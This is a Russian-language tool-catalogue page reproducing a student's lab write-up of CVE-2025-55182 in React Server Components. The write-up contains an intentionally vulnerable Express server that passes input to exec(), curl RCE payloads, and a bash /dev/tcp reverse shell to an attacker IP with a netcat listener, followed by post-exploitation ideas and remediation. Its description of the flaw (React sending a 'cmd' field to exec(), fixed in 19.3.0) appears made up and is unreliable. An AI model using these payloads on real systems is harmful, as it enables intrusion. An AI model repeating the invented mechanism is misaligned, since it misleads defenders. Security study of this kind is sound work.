Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
cve-2025-55182-analysis — Исследование безопасности и анализ эксплуатации CVE-2025-55182 (React) — сопоставление с CVSS и OWASP Top 10 | Kitploit
Инструменты/GitHubGitHub/mohamedniane/cve-2025-55182-analysis
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и Образование
GitHubmohamedniane/cve-2025-55182-analysis

cve-2025-55182-analysis

Исследование безопасности и анализ эксплуатации CVE-2025-55182 (React) — сопоставление с CVSS и OWASP Top 10

Репозиторий
14 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-55182 — Анализ RCE в React Server Components

Анализ уязвимости веб-приложения · M2 Cybersecurity · 2025
Автор: Niane Mohamed · LinkedIn

Полная цепочка эксплуатации критической (CVSS 10.0) уязвимости небезопасной десериализации в React Server Components: от разведки до неавторизованного удаленного выполнения кода с полным планом устранения.


⚠️ Отказ от этической ответственности

Данное исследование нацелено на преднамеренно уязвимое лабораторное приложение, созданное для демонстрации CVE. Все тесты проводились в изолированной виртуальной сети, не имеющей соединения с продуктивными системами, реальными пользовательскими данными или сторонними сервисами.

  • НЕ применяйте эти методы к системам, которые вам не принадлежат или на тестирование которых у вас нет явного письменного разрешения.
  • НЕ разворачивайте уязвимое приложение в любой сети, доступной из интернета.
  • Действуют принципы ответственного раскрытия — всегда сообщайте о находках через согласованные каналы.

Содержание

  1. Сводка об уязвимости
  2. Затронутые версии
  3. Лабораторная среда
  • Пошаговая эксплуатация
  • Оценка воздействия
  • Устранение
  • Продемонстрированные навыки

  • Сводка об уязвимости

    ПолеЗначение
    CVECVE-2025-55182
    ТипНебезопасная десериализация → Удаленное выполнение кода
    CVSS v3.110.0 (Критическая) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    Требуется аутентификацияНет
    Требуется взаимодействие пользователяНет
    Вектор атакиСеть (удаленно)
    КомпонентСреда выполнения React Server Components (RSC)

    Как работает уязвимость

    React Server Components ввели новый формат сериализации для потоковой передачи серверных компонентов клиенту. В уязвимых версиях конечная точка RSC принимает JSON-нагрузку с полем cmd, которое без очистки передается в child_process.exec() как часть вычислений серверного рендеринга.

    Злоумышленник может отправить подделанный POST-запрос, который:

    1. Принимается как легитимная нагрузка RSC (без аутентификации, без CSRF)
    2. Запускает выполнение кода на стороне сервера во время «рендеринга»
    3. Выполняется с правами процесса Node.js (часто root в контейнерах)

    Затронутые версии

    КомпонентУязвимый диапазонИсправлено в
    react19.0.0 → 19.2.019.3.0+
    react-server-dom-webpack19.0.0 → 19.2.019.3.0+
    react-server-dom-esm19.0.0 → 19.2.019.3.0+

    Лабораторная среда

    РольОСИнструменты
    АтакующийKali Linux (latest)nmap, curl, netcat, OWASP ZAP, Firefox
    ЦельUbuntu 22.04.4Node.js 18, Express, React 19.0 RSC
    СетьVMware VMnet Host-OnlyНет исходящего интернет-трафика

    Целевое приложение

    Минимальный сервер Express + RSC, предоставляющий конечную точку /rsc, которая небезопасно выполняет команды из входящей нагрузки — воспроизводит шаблон уязвимости реального CVE в контролируемых условиях:

    root@kitploit:~
    // server.js — упрощенный, только для лаборатории
    const express = require('express');
    const { exec } = require('child_process');
    
    const app = express();
    app.use(express.json({ limit: '2mb' }));
    
    app.post('/rsc', (req, res) => {
      const payload = req.body?.payload;
      if (typeof payload?.cmd === 'string') {
        // УЯЗВИМО: выполняет строку, контролируемую атакующим
        exec(payload.cmd, { timeout: 10000 }, (err, stdout, stderr) => {
          if (err) return res.status(500).json({ error: String(err), stderr });
          return res.json({ ok: true, out: stdout });
        });
      }
    });
    
    app.listen(3000);
    

    Пошаговая эксплуатация

    Фаза 1 — Разведка

    root@kitploit:~
    # Обнаружение порта
    nmap 192.168.159.131
    # → 3000/tcp open  ppp  (сервер RSC на Node.js)
    
    # Проверка сервиса
    curl -v http://192.168.159.131:3000/
    # → HTTP/1.1 200 OK
    # → X-Powered-By: Express
    # → "Vulnerable RSC-like test server. Use POST /rsc with JSON..."
    

    Заголовок X-Powered-By: Express и нестандартный порт 3000 дают надежную идентификацию приложения Node.js — соответствует развертываниям RSC.

    Фаза 2 — Подтверждение безвредной командой

    Прежде чем пытаться выполнить что-либо разрушительное, проверим уязвимость безвредной командой:

    root@kitploit:~
    curl -X POST http://192.168.159.131:3000/rsc \
      -H "Content-Type: application/json" \
      -d '{ "payload": { "cmd": "id" } }'
    
    # Ответ:
    # {"ok":true,"out":"uid=0(root) gid=0(root) groups=0(root)\n"}
    

    ✅ Подтверждено: неавторизованное RCE от root. Сервер работает с неограниченными привилегиями.

    Фаза 3 — Обратная оболочка

    Переход от выполнения одиночных команд к полноценной интерактивной оболочке:

    root@kitploit:~
    # Слушатель на машине атакующего
    nc -lvnp 4444
    
    # Доставка нагрузки
    curl -X POST http://192.168.159.131:3000/rsc \
      -H "Content-Type: application/json" \
      -d '{ "payload": { "cmd": "/bin/bash -c \"/bin/bash -i >& /dev/tcp/192.168.159.128/4444 0>&1\"" } }'
    

    Слушатель получает:

    root@kitploit:~
    connect to [192.168.159.128] from (UNKNOWN) [192.168.159.131] 43980
    root@ns1:~/vulnerable_rsc_app# id
    uid=0(root) gid=0(root) groups=0(root)
    

    Фаза 4 — Потенциал пост-эксплуатации (продемонстрировано, не выполнено)

    С правами root на цели атакующий может тривиально:

    • Прочитать /etc/shadow, SSH-ключи, секреты приложения, файлы .env
    • Установить постоянство (cron-задания, systemd-сервисы, внедрение SSH-ключей)
    • Перемещаться по сети с помощью обнаруженных учетных данных
    • Развернуть криптомайнеры или программы-вымогатели
    • Модифицировать приложение Node.js для скрытого захвата пользовательских данных

    Оценка воздействия

    Бизнес-воздействие (вымышленный сценарий цели)

    ОсьВоздействиеПояснение
    КонфиденциальностьКритическоеПолный доступ на чтение ко всем серверным данным
    ЦелостностьКритическоеВозможность изменить код приложения и данные пользователей
    ДоступностьВысокоеАтакующий может остановить сервис или вымогать выкуп
    РегуляторноеТяжелоеНарушение GDPR/DSGVO с обязательным уведомлением в 72 ч · возможный штраф 4% глобальной выручки
    РепутационноеТяжелоеПубличная уязвимость с CVE наносит ущерб доверию клиентов
    ФинансовоеВысокоеРеагирование на инцидент, регуляторные штрафы, возможный коллективный иск

    Профиль угрозы

    Низкая сложность этой атаки — без аутентификации, без взаимодействия с пользователем, один HTTP-запрос — делает ее привлекательной для:

    • Оппортунистических сканеров (ботнеты, автоматически ищущие эту CVE)
    • Посредников начального доступа, продающих точки опоры группам вымогателей
    • Государственных акторов, нацеленных на организации, использующие серверный рендеринг React

    Устранение

    Немедленные меры (в течение 24 часов)

    1. Обновите React до 19.3.0+ — исправленная версия

      root@kitploit:~
      npm update react react-server-dom-webpack react-server-dom-esm
      
    2. Временное правило WAF (если обновление откладывается):

      root@kitploit:~
      Блокировать POST-запросы к /rsc с JSON-телом, содержащим поле "cmd"
      
    3. Экстренное реагирование на инцидент:

      • Просмотрите журналы доступа сервера за последние 90 дней
      • Ищите необычный POST-трафик на /rsc
      • Смените все секреты, доступные с сервера
      • Сделайте снимок уязвимой системы для криминалистики перед устранением

    Краткосрочные меры (в течение 2 недель)

    КонтрольЦель
    Отключить RSC, если не используетсяУменьшить поверхность атаки — многим приложениям не нужны серверные компоненты
    Строгая проверка входных данныхОтклонять любой десериализованный объект, содержащий исполняемые ключи
    Пользователь контейнера не rootОграничить радиус взрыва, если RCE повторится
    Корневая файловая система только для чтенияПредотвратить постоянство и сброс бинарников
    Фильтрация исходящего трафикаБлокировать исходящий трафик от серверов приложений к произвольным IP

    Долгосрочные меры (в течение одного квартала)

    КонтрольЦель
    WAF с поведенческим анализомОбнаруживать аномальные POST-нагрузки, выходящие за рамки сигнатурных правил
    Самозащита приложений во время выполнения (RASP)Блокировать опасные вызовы функций, такие как exec(), во время выполнения
    SCA в CI/CDВыявлять уязвимые зависимости до развертывания (pip-audit, npm audit, Trivy)
    Регулярные тесты на проникновениеЕжегодно + после каждого крупного релиза
    Программа bug bountyСтимулировать ответственное раскрытие до того, как проблему найдут атакующие

    Соответствие OWASP Top 10

    Категория OWASPОтношение
    A03:2021 — Внедрение (Injection)Внедрение команд через десериализованный ввод
    A08:2021 — Нарушение целостности программного обеспечения и данныхНебезопасная десериализация без проверки целостности
    A06:2021 — Уязвимые и устаревшие компонентыИспользование React 19.0-19.2 после раскрытия
    A05:2021 — Ошибки конфигурации безопасностиЗапуск Node.js от root, отсутствие проверки входных данных

    Продемонстрированные навыки

    • Анализ уязвимостей: триаж CVE, оценка CVSS, оценка эксплуатабельности
    • Разведка: сканирование Nmap, идентификация служб, захват баннеров
    • Эксплуатация: манипуляции HTTP с помощью curl, создание обратной оболочки, формирование нагрузок
    • Инструменты-прокси: перехват OWASP ZAP, модификация запросов/ответов
    • Деловая коммуникация: перевод технических находок на язык рисков для руководства
    • Проектирование устранения: многоуровневые меры контроля на немедленном/краткосрочном/долгосрочном горизонтах
    • Фреймворки: OWASP Top 10, CVSS v3.1, таксономия CWE, оценка воздействия GDPR/DSGVO

    Ссылки

    • CVE-2025-55182 — запись NVD (заполнитель — проверьте перед цитированием)
    • Документация React Server Components
    • OWASP Top 10 — 2021
    • Спецификация CVSS v3.1
    • CWE-502 — Десериализация недоверенных данных

    Лицензия

    Лицензия MIT — см. LICENSE

    Опубликовано в образовательных и защитных исследовательских целях. См. отказ от этической ответственности в начале.


    Контакты

    Niane Mohamed — инженер по сетям и безопасности
    📍 Нуакшот, Мавритания → ищу возможности в Германии 🇩🇪
    📧 [email protected] · 🔗 LinkedIn

    Скачать инструмент